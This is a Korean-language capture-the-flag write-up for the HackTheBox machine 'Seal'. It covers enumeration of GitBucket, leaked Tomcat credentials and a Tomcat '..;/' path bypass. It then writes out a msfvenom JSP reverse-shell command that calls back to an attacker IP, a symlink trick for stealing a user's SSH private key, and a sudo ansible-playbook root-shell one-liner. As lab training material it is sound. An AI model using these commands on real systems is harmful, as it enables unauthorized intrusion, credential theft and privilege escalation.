HTB-Seal Write up

HTB-Seal Write up

in

Enumeration

image

8080포트에서 GitBucket 페이지 발견
defulat 계정 root/root로 접근해봤지만 실패하여 계정 생성

image

80포트의 seal_market 과 infra폴더 발견

image image

tomcat폴더의 이전 commit 에서 tomcat 계정과 패스워드 발견

image

80포트로 접속하여 gobuster진행
몇몇개의 페이지를 발견하였지만 302로 리다이렉트 되면서 404페이지로 넘어감

image image image


Foothold

ngnix tomcat 의 SSRF 검색
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
아래의 공격방법은 위의 링크를 참조

image image

위의 공격방법으로 페이지를 우회하여 접근 가능

https://10.10.10.250/admin;test=test/dashboard/ -> /admin/dashboard
https://10.10.10.250/manager/test/..;/html -> /manager/html

image image

톰켓에 리버스쉘 업로드(업로드 시 동일하게 ..;/를 사용하여 우회를 진행해줘야함)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=9001 -f war -o attack.war

image

image image


Privilege Escalation

pspy를 동작하여 확인해보니 시간마다 일정 시간마다 luis의 계정으로 run.yml 이 실행되는 것을 확인

이미지 6

해당 run.yml 파일 확인 시 /admin/dashboard 폴더를 동기화하며 /backups/archives 폴더에 백업파일 생성

이미지 9 이미지 8

동기화 되는 /admin/dashboard 폴더에서 작성이 가능한 폴더가 있는지 검색 후
작성이 가능한 폴더에서 luis의 ssh 키값 심볼릭 파일 생성

find . -writable -ls
ln -s /home/luis/.ssh/id_rsa

이미지 10 이미지 11

백업 파일을 압축 해재하여 확인 시 심볼릭링크로 생성한 파일이 생성되있어 luis 계정으로 접속 가능

이미지 12 이미지 14 이미지 15


ansible-playbook

image

TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF

이미지 1